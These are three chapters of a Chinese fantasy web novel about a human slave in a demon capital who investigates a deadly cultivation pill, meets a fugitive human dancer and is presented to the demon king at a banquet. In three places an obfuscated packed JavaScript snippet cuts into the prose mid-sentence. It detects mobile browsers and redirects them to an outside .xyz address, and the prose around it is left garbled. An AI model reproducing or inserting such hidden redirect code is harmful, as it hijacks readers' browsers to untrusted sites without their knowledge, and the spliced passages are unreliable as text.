看来他一时半会不能走了,他得查清楚这个神仙丸的作用,以及背后是谁在研制,万一可以有方法救遥幽......哪怕只有万分之一的希望,他也要找到方法救遥幽。 “你们是谁?顺和的朋友吗?” 门外响起一道男声。 待走进来,那个男子大喊一声:“顺和!发生什么事了?” 这个声音,瞿无涯记得,他偏过头,疑惑道:“平关?” 32. 第 32 章 “无涯兄弟?”平关也震惊,“你怎么会在这?这到底怎么了?” “你朋友服用了神仙丸,神仙丸的副作用有概率致死。”瞿无涯解释道,“我现在是城主府的奴隶,这是萱少主。” 乐萱转转眼珠,乌鸦的来历真是有点意思,又会武功还和妖打交道,问道:“你们认识?” “之前在人界认识的。”瞿无涯赶紧道,生怕平关嘴漏风说出些凤休或是魇箬相关的事,“平关,你不是回永劫山了吗?怎么会在王都?” 但平关根本没心思理会这些事。 “顺和说想看王都大会,我也想着来看看热闹。所以我们就来王都了。”平关攥紧拳头,跪坐在尸体面前,一拳打向地板,“我没想到......” “这一切到底是怎么回事,你说的神仙丸是什么?” “他没有跟你提过吗?就是一种开拓经脉以增强修为的邪药。”乐萱问道,“他最近没什么异常的举动吗?” 平关回忆了一下,声音沙哑:“他这几天是有点奇怪,他说他在尝试一个好东西,如果有效就也推荐给我。” “那他有没有单独去过什么地方?你们一直待在一起吗?” 平关摇摇头:“我没注意。” 纵然是再相见,既不是在永劫山,也没有什么久别重逢的喜悦。瞿无涯恍然想,其实他和平关认识只是几个月前的事,却什么都变了。 看着平关难过的模样,他想起自己抱着遥幽回村的夜晚,蹲下身搂着平关的肩膀无声地安慰他。 “乌鸦,走了。”乐萱唤他,“叙旧留着下次。” “平关,我先走了。”瞿无涯沉声道,“节哀。” 平关沉默着,低着头。他和顺和虽不是什么至亲好友,但自幼在永劫山相识,此次也是结伴来王都…… 他不能让顺和就这样不清不楚地死了。 平关的朋友已经去世了,但遥幽还活着。瞿无涯握着剑柄,要打起精神,一定要找到方法治好遥幽。 “目前致死的妖基本上都是像顺和一样,不是王都本地妖,且身份都很低微。”乐萱分析道,“像这种妖,死了也不会有太多亲朋好友追究。看来他们是想先从小妖下手,再慢慢渗透。” “从尸体上发现不了什么有用的,查这个案子还是得从交易的时候下手。”瞿无涯接话,“起码也得拿到一颗神仙丸,分析一下成分。” 乐萱打个响指,道:“对,所以我们现在就是要去丰收巷二十号逮捕交易现场,人赃并获。他们寻找目标也是精挑细选,我让妖兵办成颓废堕落的模样在酒楼、赌场等等地方逛了好一段时间,他们才找上门来。” 辛觅话一向很少,总是安静地待着,罕见地开口:“少主,你走错方向了,丰收巷在这边。” 乐萱脚步顿住,哼声道:“我是在考验你有没有认真听我说话。” 辛觅:“是,少主。”少主又说话走神了。 他们来到丰收巷口处,乐萱示意一个妖兵先去打探情况。一会,妖兵喊道:“少主,没有妖在。” 闻言,乐萱神情肃然,道:“走,看看怎么回事。” 屋中摆设整齐,却很空旷,像废弃的屋子,但干净整洁昭示着这儿并不是了无人烟。 “这茶水还温着,应该是刚走不久。”瞿无涯又到窗户边,窗台上有些泥土,“可能是从窗户走的,鞋底的泥沾这上面了。” 乐萱仔细分辨气味,道:“分两边走了,一边气味浓,一边淡一些。”按理来说应该是辛觅带着乌鸦一起带一半妖,自己单独带一半妖。 可是,她不想把精力花费在认路上。好歹活了一百多年,她不至于真不认识王都的路,只是要花精力分辨。 “乌鸦,我们兵分两路,你带几个妖去味道淡的那边。” “是。” 说是瞿无涯带队,实则是一个嗅觉灵敏的妖在前方带路。在一个转角处,带路的妖脸色骤变,喊道:“别呼吸!” 可惜已经晚了,瞿无涯一阵晕眩,周围的妖兵纷纷倒下,他就想着自己不能直接磕到头,往妖兵们身上倒吧。 这时,一只手从他后边伸出,往他嘴里塞了一粒丸子。 “无涯兄弟,是我,平关,你们中招了。” 正要把东西吐出来的瞿无涯听见熟悉的声音,咽下去,还是有些晕但清醒许多:“平关,你怎么在这?” “跟着你们过来的。”平关知道他们在查这件事,便偷偷跟着,也想找到是谁害了顺和,“你们这中招了。走,跟我来。” 比起沉浸在悲伤中,他更应该找出真相。 若他不是要查神仙丸,这可真是一个大好的逃跑机会。瞿无涯拍拍脸,醒醒神,跟着平关追上去。 急促脚步声渐近,瞿无涯看见了前方跑动的黑衣人影。 “在那。” 平关:“我绕去前方堵她,你跟在后面。” “好的。”瞿无涯应道,“你小心。” 平关变回妖形,猫跳上围墙,从房舍上直径往黑衣人前方而去。 “别跑!”眼见黑衣人意识到他们在后边,加快步伐,瞿无涯下意识喊出,“站住!” 说完又想自己在说什么蠢话,难道对方会听他的吗?果然追杀他人时情急之下就会说这种蠢话。 黑衣人带着面具,回头看了他一眼,竟然真的站住了。 “你是人族?” 是女子的声音?黑衣人头发冠起,看不出男女。瞿无涯道:“是。” 平关在黑衣人的前方变成人形,道:“就是你卖神仙丸?” “你们误会了,我不是卖家,我是来买神仙丸的。”女子道,“我也是人族,你们觉得,一个人族能在王都卖得了神仙丸吗?” 这倒也是,人族地位低下不受妖的信任,一般来说是不可能做到让神仙丸在王都流通。 但平关并没有完全相信这句话:“先带回去再说。” 瞿无涯礼貌道:“若你只是买家,城主府也不会追究你。请你跟我们回去一趟。” 女子看着他,问:“你一个人族,为何在帮妖做事?” “我是城主府的奴隶。” 女子质疑道:“奴隶身上都有捆仙锁,你明显是自由活动,而且你有修为,是术士。” “因为一些特殊原因。”瞿无涯自觉没必要说太多,尽管面对的是他许久没见过的人族,“还请这位姑娘配合一下。” “有人过来了。”女子的声音有些焦急,“我不能去城主府,你们想知道什么我可以告诉你们。” 说着,她摘下面具,美目盈盈若秋波,泫然欲泣。 这是瞿无涯至今见过最美丽的女子,对方又呈现弱势的姿态,他拔剑的手顿住,一时失言。 平关也被震惊到,他自然是喜欢长得好看的人,不过特殊时期,他还不至于分不清孰轻孰重。 “无涯,别相信她,她是故意摘下面具想显示亲切的。” “我是为了取得你们的信任才摘下面具,这有什么不对吗?”女子反问,“你说的像我别有用心一样。” 平关一哽,粗声道:“不管怎样,你不敢去城主府, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126477|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八成是犯过事。我们想知道的事,到了城主府一样可以让你开口。” “进城主府,我只会说我应该知道的事。”女子道,“其他事,我便是死了也不会说出来。求生难,求死易,你们决定吧。” 果然刚才的哭是装的,瞿无涯看她目光坚毅,根本就不是会急哭的模样。一个人族有什么理由避开城主府?得罪了妖,就像他要避开王宫一样。 女子见瞿无涯有些动摇,继续道:“这位公子,你我同是人族,哪怕看在同族之谊上,你就帮我这一个小忙。我只是一个买家,真去了城主府,我也不应该知道什么秘辛。” “若你帮我拦住城主府的人,我也可以在你需要的地方帮你。” 女子料想是这个自称是奴隶的人族肯定是不想继续留在王都当奴隶的,但这有其他妖在,她不会贸然说出这个猜测。 “平关。”瞿无涯道,“我认为可以相信她。你也想知道这到底是谁在搞鬼吧。她不想进城主府,可能是有她的难处,我们没必要把到手的线索送走。” 平关有他的考量,他不是想相信女子,而是他看得出,这个女子有必死的决心。人不怕死时就尤为可怕,他也认为没必要把“线索”逼死。 总归,城主府又和他没什么关系,连为城主府效力的无涯都同意搞小动作,他也没什么反对的理由。 一开始想把人送去,也是想着借城主府的力量更好查明真相。 “好。无涯兄弟,我听你的。” “他们要来了,你带着她先走。”瞿无涯扭头看一眼后方,“我帮你们拖延时间,等下在顺和的住处见。” 很快,妖兵们追上来。 “乌鸦,找到了吗?” 这么快就恢复了,看来那个女子的手段有限,也难怪不和他们起正面对决。 瞿无涯摇摇头,道:“没有,我们分开再找找看。” 找借口和妖兵分开后,他就直奔顺和的住所而去。平关和女子并没有比他早到多少。 院中尸体已经被平关施法变回原形,他正在用箱子收殓绿毛鸟。早些看尸体时,瞿无涯没多大感触,但见到鸟儿的尸体,心中某名伤怀,死后就变回小小的鸟儿,蜷缩成一点点。 女子见瞿无涯来了,道:“我叫泉露,你们也许在通缉令上见过我。” 平关:“没见过,我叫平关。” 瞿无涯:“我也没见过,瞿无涯。” “好吧。”泉露撩撩头发,活泼得好似方才一脸悲壮的人不是她,“没见过最好,我被通缉不是因为我干了什么伤天害理的事,不用担心我是恶徒。若我真有那本事,也不至于去买神仙丸,沦落到和你们在这做交易。” 通缉这点瞿无涯深有感悟,道:“你说能告诉我们的事,是什么?神仙丸到底是什么东西,又是谁在贩卖它?” “神仙丸,我刚才看过了。”泉露拿出一颗棕色的药丸,“闻上去有三阳草、天灵水和百晴花,都是一些对经脉有利的药品。要说能开拓经脉,有些夸张。” “要么就是它的水平没有传言那么夸张,要么就是还有我不知道的成分在里面。” 瞿无涯问道:“你知道它致死吗?” 平关敏锐地道:“你能闻出神仙丸的成分,你是医师吗?” 泉露大惊失色:“怎么可能?这几味药根本就不相冲,怎么会致死?” 干,被骗了。 瞿无涯眯着眼睛,露出一个不甚明显的笑容:“你方才说知道什么不一样的事情,都是框我们的。你连神仙丸致死都不知道,你到底是什么人?” 33.第 33 章 “什么!”平关喊道,“无涯兄弟,我看还是把她送去城主府吧。” “等等!”泉露双手合十,急忙道,“我可以跟你们解释我为什么不能去城主府。” 瞿无涯安抚平关:“先听她怎么说吧。” “你们知道乐萱和刹罗的事吗?” 瞿无涯摇头。 平关回想关键词,半响才道:“我好像听过,据说乐萱爱慕刹罗。” “我是刹罗的情人。你们随便去公示栏看看,我的通缉令就在上面。” 泉露松了一口气,他们连她的通缉令都没见过,真怕他们也不知道乐萱喜欢刹罗,到时她说真话也不相信就难办了。 这事,瞿无涯完全不了解,看向平关。 平关摸着下巴,沉吟:“刹罗养了一个人族舞姬,还为此背叛王上,如今在地牢里蹲着。王上大怒,全妖界通缉这个舞姬。” 对对对,那个舞姬就是我。泉露正襟危坐,准备迎接两人的震惊。 妖王?瞿无涯默默地思量,难怪凤休能被下七情蛊,原来是被属下背叛。也是,就凭凤休的人品,众叛亲离也是活该。 而平关对这等八卦也没太大兴趣,又不是他的朋友,道:“所以你和乐萱是情敌,你才不敢见她?” “对,而且我买神仙丸是为了闯地牢见刹罗一面。”泉露奇异地看着他们,这两人什么来头?对这种众人都想一探究竟的桃色传闻当事人毫无兴趣。 这个八卦来得不是时候,平关全心全意牵挂着死去的朋友,没什么说笑的心思。而瞿无涯连妖王都见识过,对于妖君自然是没甚反应。 平关震惊:“闯地牢,你这不是找死吗?你这和去城主府也没区别。” 泉露长叹一口气,道:“我想再见他一面。” 刹罗为她背叛凤休,真是情深意重,原来妖也会对人动这么深的感情吗?瞿无涯发愣,也难怪泉露愿意冒着死亡的风险再见刹罗一面。 “所以你现在在被妖王追杀?” 泉露点头,奇怪地看着平关,这妖竟然对她没有敌意。要知她在血月州,不知听多少妖议论她红颜祸水,害了刹罗和妖王的情谊。 “看我干嘛。”平休道,“刹罗背叛妖王是他自己决定的,和你有什么关系。” 瞿无涯奇道:“平休兄,你是不是能听到心声?” “欸,无涯兄你这就夸张了。”平休用力一搂瞿无涯的胳膊,“但凡是永劫山出来的妖,感知总是比其他妖敏锐一些。” 若说北州是人界灵气最浓郁的地方,那妖界中与北州对应的就是永劫山。 也许是平关大大咧咧的作风和他的敏锐程度太违和,瞿无涯不太习惯平关突然说出一些很聪明的话。 “泉露姑娘,我劝你最好还是不要服用神仙丸,以免没见到刹罗就命丧黄泉。” “好。”泉露把神仙丸放回小盒子,“我会想其他办法的。” 瞿无涯伸手:“既然你用不到这个神仙丸,不如给我,就当方才帮你掩饰的谢礼。” 泉露谨慎地道:“你用来做什么?” “我有一个朋友,经脉出了问题,我想看看这个神仙丸的成分能不能对治理他的经脉有帮助。” 泉露:“这是你会出现在妖界的理由吗?” 平关:“什么朋友?阿休吗?他怎么样了?” “这件事说来话长,你就当阿休死了吧。”瞿无涯又转而回答泉露,“不算是,出现在这是因为我比较倒霉,被抽中当奴隶了。” 平关也就没再追问。就算他有心想知道,也不会当着泉露这个外人的面问太多。 “可是术士怎么会?” 瞿无涯:“所以说我比较倒霉。” 走的时候,平关出来送瞿无涯,喃喃道:“我本以为她抱着必死的决心是知晓什么事,没想到是为了情人。” 是吗?瞿无涯总觉得哪儿怪怪的,看上去一切都合乎情理,但泉露给他的感觉却有点别扭。 也许是泉露长得太静美,让人不由屏住呼吸,可行事风格却有些跳脱。 好消息是乐萱抓到了药贩,也就没多追究瞿无涯的无功而返。接下来就是刑堂的工作,往后几日他们又发现了一具尸体。药贩的嘴挺硬,刑堂用了些药才稍微撬开,但也没得到什么有用的情报。 药贩也只是图其中的分利,药源并不是他们。只是如今他们既已经被抓捕,药源方自然也不会再出面联络他们。 “打草惊蛇了。”乐萱懊恼地锤桌子,“没想到他们这么谨慎,也不怕找中间商卖从中黑下利润。” 辛觅在一旁无声地研墨,桌子一抖她的手却还是稳的。 瞿无涯立于桌前:“证明他们确实不求财。” “没事,再查查,又不是只有他们一批药贩。”乐萱道,“他们若是不认识药源,那肯定是有人从中牵线。看我不把他们揪出来一锅端了。” “今日不出去查吗?” 乐萱久违地拿起书,桌上散乱着纸笔,道:“今日王上会来,我要临时抱佛脚。” “来做什么?”瞿无涯心中一紧,摩挲着剑柄。 “吃饭啊。” 吃饭?瞿无涯无法理解,一个王为何要到属下家中用餐,这是妖族的习俗吗? 妖界还真奇怪,凤休能常年不在王都。要知道,轩辕王连王宫都很少出,更别说出圣都。 乐萱看出瞿无涯的疑惑,道:“我们妖族可没有轩辕王族那么多讲究的规矩,不随意出宫。王上每次回王都,我爹都要请王上来府上用膳。” 瞿无涯道:“轩辕王是对子民们负责,并不是摆架子。” “对啊。”乐萱滔滔不绝,“王上不爱摆架子,我爹说前妖王就高高在上,看不起众妖,以暴镇压,动辄责罚大家,也不关心除自己以外的妖。而王上就不一样了,王上杀了前妖王上位后,颁布法令,平定妖君们的内乱,不允许修为高强的妖乱杀无辜。在早些年没有规矩的时候,很多妖都会吸食其他妖的内丹来增强修为,这也是妖界生来就更加混乱的原因,人族没有内丹不能像妖族这般增强修为。” “虽妖界还不似人界那般井井有序,但也不至于像从前那般弱肉强食,弱小的妖无法生存。在有了基本的秩序后,王上让各地通过交换商品来和平交流,以此让众妖尊重彼此的习俗差异。若没有王上把妖界团结起来,也许现在就换我在人族当你的奴隶。” 辛觅默默地想,少主又开始提取关键词自动输出,少主经常就只能听见想听的话。 这是瞿无涯完全不知道的凤休,在人族的记载中,妖王暴戾蛮横强大,是压迫人族的罪魁祸首。但在乐萱的眼中,凤休却是一个为众妖着想的好妖王,是伟大的英雄。 抛开主观情绪,凤休平易近人吗?他不计较朝他扔石头的孩童,也不记恨歧视他的村民。但也称不上平易近人吧。 瞿无涯:“少主,你有听懂我方才那句话吗?” 乐萱哽住:“嗯,哦。” 瞿无涯乐了,乐萱这人相当自我,有时交谈就会出现“走神”“思维跳跃”“自话自说”等等状况。 “更准确的形容是,妖族的规矩并不像王族那般严苛,而不是妖王平易近人。” 乐萱不由得想起王上说,学习人族的言语讲究可以减少大多数不必要的冲突,有效的沟通才能更好地解决问题,而不是像大多数妖族一般用拳头说话。 “王上说语言是一种力量,有文化的人能掌握这个手段去达到目的,所以语言的准确性很重要。要先准确,对方才能信服,而被信服的语言才会被赋予力量。” 但凤休并不喜欢说话。 算了,和他有什么关系。瞿无涯在心里翻白眼。 反正他只是奴隶,没资格上宴会,今日好好待在房中躲过去就是了。 “其实,今日王上来确是我求爹爹请来的。”乐萱长叹一口气,“我想问清楚刹罗的事。王上总是神龙见首不见尾的,我去王宫求见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132384|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不见我,只能请我爹出马了。” 刹罗......辛觅在心中叹气,少主还是这般一根筋。 瞿无涯:“那你还说他不摆架子。” “王上肯定是猜到我想给刹罗说情。”乐萱自有她的道理,“王上不见我,是为我好,到时我说错话又得去挖个几年沙子。我发现你很奇怪,你对王上怎么没有一点敬畏心?” 哇,还沙子,傻子吧。瞿无涯不想给凤休的拥趸捧场,乐萱不计较他对她的姿态,反而因他对凤休的态度不满,活脱脱的无脑拥趸,转移话题:“刹罗妖君既已经背叛妖王,你给他说情岂不是也站在妖王的对立面吗?” “我觉得其中肯定有误会。”乐萱斩钉截铁,“刹罗怎么可能会背叛王上,他和王上感情最深厚。就算我爹背叛王上,他也不会背叛王上的。” 好一个孝女。瞿无涯差点脱口而出,这只能证明妖王的人品太差了。 “不是说是为了心上人吗?应该不会有误会吧。” 乐萱瞪他,一拍桌子:“怎么可能为了一个人族背叛王上,那都是流言,我可不相信。又不是谁都是魇箬那种蠢货,死在人族男子手上。” 说着这些话的萱少主仿佛不知道听她说话的奴隶是人族一般,也许是不在意,只是一个奴隶,听这些话也只能受着。 从前在人界听的都是歧视妖族的话,如今换个地全倒过来了,瞿无涯也不傻,不会说什么反驳的话。 乐萱固然和善,不代表他能够和乐萱成为朋友,能够完全平等地对话。像这种言论,左耳进右耳出,若惹怒乐萱,自己本就暗淡的未来更加黑暗了。 见瞿无涯沉默不语,乐萱没太在意。 一个人族奴隶么,乐萱愿意和他交谈是因有趣,而不是想平等交流。 城主府中张灯结彩,大殿的门敞开着,好在今日没有风雪不用设置结界。 奏乐声未停歇,舞姬乐师流水似得换了一批又一批。 殿内宝座上的妖王放下酒杯,漫不经心地听乐萱说完寒暄的话。 下一句就要问刹罗了,妖王抿了一口酒。 “王上,关于刹罗的事。”乐萱斟酌着用词,“到底是怎么一回事?是否有误会在里面,我愿为刹罗和王上彻查此事。” 城主乐宗愁着一张脸,他肯定是不愿触王上霉头的,但实在是耐不过女儿的请求。面对王上意味深长的目光,他只能尴尬地低下头。 凤休笑了:“你是要质疑我的判断?” “萱不敢。”乐萱连忙起身,跪下,“只是不想见到王上和刹罗反目。” “我倒宁愿是有误会。”凤休也没有怪罪的意思,“也好过他为了一个女子如此。这些日子不见你,是懒得同你再复述一遍,知道你爱打破砂锅问到底。” 乐萱年纪小,葬骨川之战时跟在乐宗身边,一个孩童天天见着那些血腥场面,母亲也死在这场战役中。乐萱母亲临时前让凤休多关照乐萱,他就把乐萱扔给刹罗带,多积累战斗经验。 没想到,乐萱对刹罗的崇拜日渐变成爱慕,可刹罗却是个不解风情的。但乐萱更珍惜和刹罗的感情,因而也没有多做纠缠之举。 打破砂锅?这什么意思?乐萱想起乌鸦,道:“既然这事已定,王上打算如何处置刹罗?” 刹罗竟然真的背叛王上,那这事是刹罗有错在先,就算王上要刹罗的性命,她也不能多说什么。她不想刹罗死,却也不可能为此忤逆王上。 “先用消魂钉钉上五十年再说。”凤休也没想好如何处置,“原本是想杀了,但七情蛊发作后我改变主意了,不想让他死得那么轻松。” 一开始打算杀刹罗,所以不想见乐萱,如今不打算杀,见见也无妨。 既然没要性命,那还有转圜的余地。乐萱松口气,道:“王上,我近日在马房收了个挺漂亮的小奴隶,王上要不要看看?” “哦?听青鸿说过。”凤休道,“随你。”他不会在这种小事上拂乐萱的意愿。 34.第 34 章 瞿无涯收到要见凤休的消息时,考虑过要不要赶紧跑。 带话的辛觅淡淡地看着他,道:“走吧。” “呃,我,我肚子疼。”瞿无涯语气虚弱,“一定要去吗?” 辛觅没说话,眼睛在反问“你觉得呢”。 “辛觅姐姐,我怕。”瞿无涯也顾不得脸面,试图装疯卖傻蒙混过关,“我,我没见过妖王,我怕做错事。” 尽管辛觅不爱说话不爱笑,但他能感觉到辛觅不是那种拒人千里之外的冷漠,也不像凤休懒得说话,辛觅只是单纯的话少。这段时间他和辛觅跟着乐萱跑上跑下,很多时候他不懂的东西辛觅都会跟他解释。 辛觅好心道:“你不去也是犯错。” 路上,辛觅本没打算说话,但见瞿无涯焦躁不安,道:“你也不用担心,王上不会轻易动怒的。” 呵呵,那是因为你没睡过他。瞿无涯视死如归地跟在辛觅身后,盘算着现在跑被抓回来肯定凶多吉少,还不如跟上去赌一把。 赌什么?赌万一凤休暴毙了,万一凤休眼瞎了,万一凤休失忆了,万一凤休看见他惊讶地喝酒呛死了,万一凤休旧伤发作昏迷然后死了。 他低着头,寻思着往自己脸上划两下可还行?罢了,划两下骨相也不会变。 若真要死,他不能死得太轻易。剑柄被紧紧握住,瞿无涯感到一丝安心,反正在场最强大的凤休不能对他出手,也许还有机会。 踏过玉雕栏杆,走上石板台阶,乐鼓声越发清晰,中央是舞姬优美的步调,长而轻盈的袖摆在空中划过,脚上银铃清脆。瞿无涯没见过这等场面,忍不住多看了几眼。 想起没去成的不夜河,他思绪又飘远,很快他强制自己回神,现在可不是忆往昔的时候。 “这就是你收的奴隶?” 凤休的声音从上方传来,飘忽不清。瞿无涯仿佛第一次听见凤休的声音般,感到陌生。 还没待乐萱回话,一道身影走进大厅。 “王上,有消息了。” 青鸿单膝下跪,右手覆在左肩处,微微低头。 乐萱抱着手臂,道:“青鸿,这城主府你还真是进出自由啊。” 青鸿脸红,道:“萱少主,抱歉,这事有点急,我就直接闯进来了。” 瞿无涯知道青鸿,据说他是凤休的亲卫,负责凤休在王宫的一切衣食住行。在人界,这种职位一般称作总管太监。对应的,城主府就是丞相府。 一般来说,丞相不会轻易呛太监,因为太监长期服侍王左右,没人会蠢到得罪王的身边人。 但妖界似乎不一样,无组织无纪律无秩序,回到最纯粹以武力为尊的原始形态。 凤休知晓青鸿说的是什么事,也顾不得乐萱的新奴隶,起身道:“那今日就到这,我有些事要处理。” “是,王上。” 凤休从瞿无涯身边经过,隔着一些距离。瞿无涯心如擂鼓,幸好舞乐声够大,让他不至于听见自己的心跳声。 “王上,泉露就在王都。”青鸿道,“属下已经发现她的踪迹了。” 凤休:“抓到了吗?” 青鸿摇头:“没有。” “没抓到你叫我走?”凤休不咸不淡地问,“是要我帮你们抓吗?” 好像也是。青鸿脸一白:“王上说一有消息就通知您,属下只是......” 凤休:“是我说话都说不清楚,不怪你。” 妖王殿下说话总是这么平静地讥讽。青鸿虽不聪明,但还是了解王上的习惯。能说笑话证明王上还不是真正动怒,若是真动怒就不会仅限于动嘴。 王上素来也不喜欢刑罚,比较喜欢直接杀了,而真正能犯死罪的情况又比较少,因此不懂王上习性的人也许会认为王上宽仁,从不刑罚将士。 “属下知错了。”青鸿跪下,“是属下愚钝。” 也不止蠢这一两回了,凤休已经习惯,懒得再多说什么,走出好一段距离,青鸿还原地跪着。他微微无言。 “要跪回去跪。” 青鸿连忙起来,跟在凤休身后。 王宫要举行晚宴,乐萱打算带瞿无涯去给小姐妹们看,自己也要定制新衣,于是带着瞿无涯去了布店。 瞿无涯随手一指一匹天青色的布料,乐萱倒是很有兴趣打扮他,把他当灵宠养。 乐萱在和老板商量款式,他便站在门口看过往的妖众。 “你怎么在这?” 说话的正是天瑞,他身旁是正翼和飞獐。 飞獐:“少主也在吗?” 瞿无涯懒得搭理他们:“长了眼睛就自己看。” 正翼怒道:“你小子!说话客气点!”真是没见过这么嚣张的奴隶! 瞿无涯没好气地看他们一眼,不懂自己有什么客气的理由。 乐萱听见他们的动静,停止和老板商谈,转头:“吵什么呢?” 飞獐、正翼:“少主。” “萱萱,你来买新衣?”天瑞走进店中。 按理来说,天瑞一个妖尉,身份是没资格对乐萱直呼其名的,但他父辈和乐宗有交情,所以比起身份,他们首先是世交。这也是乐萱没法彻底甩掉天瑞的原因。 要摆官威,乐萱可以摆,但她没那么爱摆。 “嗯,我要带乌鸦去宫宴,所以带他来定新衣。” 天瑞忿忿道:“你对这奴隶也太好了。” “你要是长得和乌鸦一样好看,我也给你买新衣。”乐萱觑他一眼,“雅抚她们早就想见乌鸦一面了,但城主府又不是观赏之地,我可不想她们叽叽喳喳地上门寻乐。” “你有空关心乌鸦,不如多放点心思在晋升妖将上,雅抚今年可是晋升成功了。” 闻言,天瑞的脸一阵红一阵白。 “那小子太可恶了。”待三妖走出去,正翼怒道,“少主也就罢了,他一个奴隶竟然也敢看不起我们。” 飞獐冷笑道:“少主不过也就把他当好看的玩意给女妖们观赏,我们也无需触少主霉头,可以用点隐晦的手段。” 天瑞沉色道:“你有什么法子?” “少主带乌鸦是去宫宴展示的,若乌鸦表现得不让她们满意呢?” 正翼疑惑道:“你是说,我们把那小子毁容了?” “不可。”飞獐当机否决,“毁容只会激怒少主,毁容不是乌鸦犯错,我们得让乌鸦犯错才行。宫宴上女妖众多,少主定然会带乌鸦去见识女妖们,若乌鸦做出什么让少主丢脸的行为......” 而且他们不一定打得过乌鸦,这话他知道但不能说。 镜子里的是谁?瞿无涯不太认识。 乐萱很满意地叉腰欣赏。 瞿无涯摸着头上的眉心坠,弱弱地问:“这个是不是太大了,像是女款,有没有简约一点的?” 好像也有点道理,乐萱从旁翻找出一个银色的抹额,唯有眉心那有一点云纹样式,也不是人界常见用锦布制作,而是质地坚硬的银,尾端是用来系的链扣。 于是,瞿无涯又大着胆子道:“这个耳坠也很重,我以前没带过耳坠......” “不行。”乐萱一口回绝,“这个好看。” 好吧。瞿无涯放弃挣扎,摸着耳坠,这链子多得和流苏一样了。 这个宫宴相当于王都大会前的一次会面,妖王、长老、妖君以及人族使者等都会出席,其中也包括一些受重视的妖将、妖尉——简单来说就是上头有关系。 王宫和瞿无涯想象得不同,他以为会是什么阴森可怖血腥之地,可进去后才知,这说是仙境也不为过。 这会他才真正意识到传言中妖王喜欢人族文化是千真万确,王宫的建筑完全是按人族审美。 这段时间,他也差不多把王都逛了一遍,中心地带还好,像偏一些的地方竟然有洞穴一样的建筑。他完全无法理解这种住在城里,却假装自己在山里一般自欺欺人的建筑是什么目的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141213|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 朱红宫墙上铺满琉璃瓦,走过白玉拱桥,下方池中时不时跃起锦鲤。凌霄殿前两侧立着青铜仙鹤,但他们此行并不是去凌霄殿,只是路过。 和人族比还是带了一丝妖异的地方,梁柱上缠绕着绿色的藤蔓,顺着根处看去竟是扎根远处,因而地上或是空中也会有一些藤蔓,这是它们缠绕梁柱的路径。 玉衡宫中梅花香,一旁的假山中瀑布湍流而下,席位从殿中一直摆到梅花树下。 乐萱的身份本可以是坐在殿中的席位,但她一向喜欢在殿外和姐妹说笑,便没有随着父亲在殿内。 小辈可以自由选择,但像妖王、长老这等身份在殿外就有些不妥当了。瞿无涯庆幸着。 而妖君们除了烬绯和魁虚也都是在殿内——乐萱特意叮嘱他注意不要招惹到外头的两位妖君,瞿无涯看向大殿中,见到熟悉的面孔。 “你也觉得谲凰妖君好看?”乐萱见他看着谲凰,“他的打扮太花哨了,我不喜欢。” 原来是谲凰,瞿无涯移开视线,看着树上红梅:“好看。” 烬绯一身火红的锦袍,头上还插着一朵梅花——魁虚给她摘的,她们的座席被移在梅花树下,仿佛有天然结界一般,无人靠近。 “烬绯脾气不太好,魁虚就比较和善。”乐萱同瞿无涯介绍,“若你不幸得罪了烬绯,那你可以试着去求一下魁虚。但她们既选择坐殿外,也意味着她们对王上的位置没兴趣,来此只是凑热闹,你真正需要注意的还是殿里的妖君。” 散修?瞿无涯略微理解了,问道:“月晦妖君是哪位?” “月晦?”乐萱奇怪地反问,“月晦妖君从来不参加王都大会的,她是要飞升的妖,才懒得参与这些蝇营狗苟。欸,这么一看,冥骸怎么也没来?” 瞿无涯注意到乐萱称呼月晦时加上了妖君二字,看来月晦在妖界的地位确实很高。 “冥骸妖君也不参与妖王之争吗?” “你这么说也没错,但他是因为忠心王上,王都大会他肯定是要参与的。如今王都各地势力聚集,光王上的安危就有他忙的。” “三位长老,左下第一位是阳朔,第二个位是昊空,右下则是丽化。”乐萱想了想,担心瞿无涯犯蠢事,郑重其事地介绍,“你最好躲着点丽化,她喜欢美男子,就你这姿色,她要抢了去我护不住你的。” “剩下两位,你大约是接触不到,认得脸就行了。” 瞿无涯摸摸手臂,三位长老俱是中年的模样,据说前妖王还在位时三长老就在了,真可谓是老妖。 “萱!” 不远处,一位女子热情地呼喊道,她旁边还有几位女子凑作一团在闲聊。 “抚!”乐萱也回应,冲她招手。 终于,瞿无涯的职能显现出来了,女妖们把他当玩具一般观赏,捏脸的就算了。有的上手凑近他的胸膛,吓得他赶紧后退一步。 “他害羞了。” 女妖们哄笑起来。 “萱,你这哪捡来的奴隶,比王宫的都好看。” “人族也太扭捏了。” 